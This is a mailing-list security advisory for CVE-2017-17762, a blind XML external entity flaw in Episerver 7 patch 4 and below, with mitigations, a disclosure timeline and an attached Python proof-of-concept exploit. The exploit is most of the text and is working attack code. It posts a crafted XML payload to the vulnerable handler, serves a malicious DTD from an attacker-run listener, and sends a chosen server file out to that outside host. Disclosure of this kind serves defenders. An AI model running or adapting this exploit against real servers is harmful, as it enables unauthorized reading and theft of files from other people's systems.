CVE-2017-17762 - XXE Vulnerability in Episerver

[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

 



About
==============
Blind (XXE) XML External Entity vulnerability in the CMS Episerver 7
patch 4 and below. The vulnerability is in the blog module and can be
used even if the blog module has been disabled.

Exploit
==============
PoC exploit attached.

Mitigations
==============
Disable access to the path /util/xmlrpc/Handler.ashx
Disable outgoing access from the webserver, including DNS etc.

Disclosure timeline
==============
2017-12-12 Contacting CERT-SE
2017-12-13 Contacting the Episerver company
2017-12-19 CVE-number reserved
2017-12-21 The Episerver VP R&D acknowledges the vulnerability.
Internal bug number is #128556 and he writes that it's fixed from
Episerver 7-patch 5
2018-08-28 First public info


Regards,
Jonas Lejon
Triop AB
#!/usr/bin/python
##
## episploit.py - Blind XXE file read exploit for Episerver 7 patch 4 and below
##
## Starts a listening webserver, so the exploits needs a public IP and unfiltered port, configure RHOST below!
##
## Written by Jonas Lejon 2017-12-19 <jonas.xxe@xxxxxxxx> https://triop.se
## Based on https://gist.github.com/mgeeky/7f45c82e8d3097cbbbb250e37bc68573
## 
## Usage: ./episploit.py <target> [file-to-read]
##

from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
import urllib
import re
import sys
import time
import threading
import socket

SERVER_SOCKET 	= ('0.0.0.0', 8000)
EXFIL_FILE 		= 'file:///c:/windows/win.ini' 

# The public facing IP. Change this
RHOST 			= '1.2.3.4:' + str(SERVER_SOCKET[1])

EXFILTRATED_EVENT = threading.Event()

class BlindXXEServer(BaseHTTPRequestHandler):

	def response(self, **data):
		code = data.get('code', 200)
		content_type = data.get('content_type', 'text/plain')
		body = data.get('body', '')

		self.send_response(code)
		self.send_header('Content-Type', content_type)
		self.end_headers()
		self.wfile.write(body.encode('utf-8'))
		self.wfile.close()

	def do_GET(self):
		self.request_handler(self)

	def do_POST(self):
		self.request_handler(self)

	def log_message(self, format, *args):
		return

	def request_handler(self, request):
		global EXFILTRATED_EVENT

		path = urllib.unquote(request.path).decode('utf8')
		m = re.search('\/\?exfil=(.*)', path, re.MULTILINE)
		if m and request.command.lower() == 'get':
			data = path[len('/?exfil='):]
			print 'Exfiltrated %s:' % EXFIL_FILE
			print '-' * 30
			print urllib.unquote(data).decode('utf8')
			print '-' * 30 + '\n'
			self.response(body='true')

			EXFILTRATED_EVENT.set()

		elif request.path.endswith('.dtd'):
			print 'Sending malicious DTD file.'
			dtd = '''<!ENTITY %% param_exfil SYSTEM "%(exfil_file)s">
<!ENTITY %% param_request "<!ENTITY exfil SYSTEM 'http://%(exfil_host)s/?exfil=%%param_exfil;'>">
%%param_request;''' % {'exfil_file' : EXFIL_FILE, 'exfil_host' : RHOST}

			self.response(content_type='text/xml', body=dtd)

		else:
			print '[INFO] %s %s' % (request.command, request.path)
			self.response(body='false')

def send_stage1(target):
	content = '''<?xml version="1.0"?><!DOCTYPE foo SYSTEM "http://''' + RHOST + '''/test.dtd"><foo>&exfil;</foo>'''
	payload = '''POST /util/xmlrpc/Handler.ashx?pageid=1023 HTTP/1.1
Host: ''' + target + '''
User-Agent: curl/7.54.0
Accept: */*
Content-Length: ''' + str(len(content)) + '''
Content-Type: application/x-www-form-urlencoded
Connection: close

''' + content

	print "Sending payload.."
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	port = 80
	s.connect((target,port))
	s.send(payload)

def main(target):
	server = HTTPServer(SERVER_SOCKET, BlindXXEServer)
	thread = threading.Thread(target=server.serve_forever)
	thread.daemon = True
	thread.start()
	send_stage1(target)

	while not EXFILTRATED_EVENT.is_set():
		pass

if __name__ == '__main__':
	if len(sys.argv) > 1:
		target = sys.argv[1]
	if len(sys.argv) > 2:
		EXFIL_FILE = sys.argv[2]
	main(target)

[Index of Archives]     [Linux Security]     [Netfilter]     [PHP]     [Yosemite News]     [Linux Kernel]

  Powered by Linux